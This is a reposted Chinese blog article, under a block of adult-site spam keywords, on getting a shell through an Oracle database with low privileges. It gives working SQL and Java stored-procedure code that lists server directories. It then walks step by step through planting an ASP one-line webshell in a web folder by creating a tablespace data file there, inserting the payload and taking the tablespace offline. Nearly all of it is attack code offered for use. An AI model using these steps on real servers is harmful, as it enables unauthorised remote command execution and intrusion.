日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

oracle低权限下获取shell

發布時間:2023/12/10 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 oracle低权限下获取shell 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

?轉載請標明:http://hi.baidu.com/hack_forensic?? 《關于oracle列目錄的可行性測試》

經過本人測試,確實可行,解決了 kj021320文章的遺憾,kj021320在文章<<ORACLE 建立數據文件WriteWebShell>>最后說,當然這個方法缺點就是你要知道WEB路徑.少費話,直接貼code:

create global temporary table BLUEUSER.dirlist(
filename varchar2(255),
filesize number,
filedate date)
on commit delete rows;
/

create or replace and compile java source named DirList as
import java.io.*;
import java.sql.*;
public class DirList
{
public static void getList(String directory) throws SQLException
{
File path=new File(directory);
String[] fileList=path.list();
String fileName;
long fileSize;
long fileDate;
for (int i=0;i<fileList.length; i++)
{
fileName=fileList[i];
File fpath=new File(directory+’/'+fileName);
fileSize=fpath.length();
fileDate=fpath.lastModified();
#sql{insert into BLUEUSER.dirlist(filename, filesize, filedate)
values(:fileName,:fileSize,to_date(‘01/01/1970′,’mm/dd/yyyy’)+:fileDate/(24*60*60*1000))};
}
}
}

CREATE OR REPLACE PROCEDURE BLUEUSER.p_get_dir_list(i_directory IN VARCHAR2) AS
LANGUAGE JAVA NAME ‘DirList.getList(java.lang.String)’;

SQL> exec BLUEUSER.p_get_dir_list(‘/tmp’);
PL/SQL procedure successfully completed

select * from BLUEUSER.dirlist;

select * from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist where rownum<150;
select filename from BLUEUSER.dirlist;

truncate table BLUEUSER.dirlist;???? 好啊 要不然是追加.

測試環境:oracle 9+redhat

——————ORACLE 建立數據文件WriteWebShell———————

SQLJ???存儲過程寫文件也可以,逼于無奈對方機器不支持SQLJ? 還有? UTL_FILE包也被干掉了?

那 也可以 使用以下我說的這個方式

SQL> create tablespace kjtest datafile ‘e:\website\kj.asp’ size 100k nologging ;

表空間已創建。

這里記住了? 100K為ORACLE 表空間最小的單位,如果你的一句話SHELL比較大 那可以200K比較穩妥

但是最終建議一句話一定要最最簡潔

SQL> CREATE TABLE WEBSHELL(C varchar2(100)) tablespace kjtest;

表已創建。

一般用 VARCHAR類型已經可以 ,表空間太小了 ,所以不可以 為 CLOB或者 BLOB類型。

SQL> insert into WEBSHELL values(‘<%execute request(“kj021320″)%>’);

已創建 1 行。

SQL> commit;

提交完成。

提交完成之后就 OK? NO~ 因為數據還沒有被 DBWn 進程刷到文件呢. 所以需要同步一下CKPT以及OFFLINE當前表空間

SQL> alter tablespace kjtest offline;

表空間已更改。

到這里 你的 一句話SHELL代碼已經 寫到 那個文件了

你會發現有這樣的 <%execute request(“kj021320″)%>的 代碼

一句話shell已經OK了

最后使用后記得吧 表空間刪除

SQL> drop tablespace kjtest including contents;

表空間已刪除。

轉載于:https://blog.51cto.com/pnig0s1992/354050

總結

以上是生活随笔為你收集整理的oracle低权限下获取shell的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。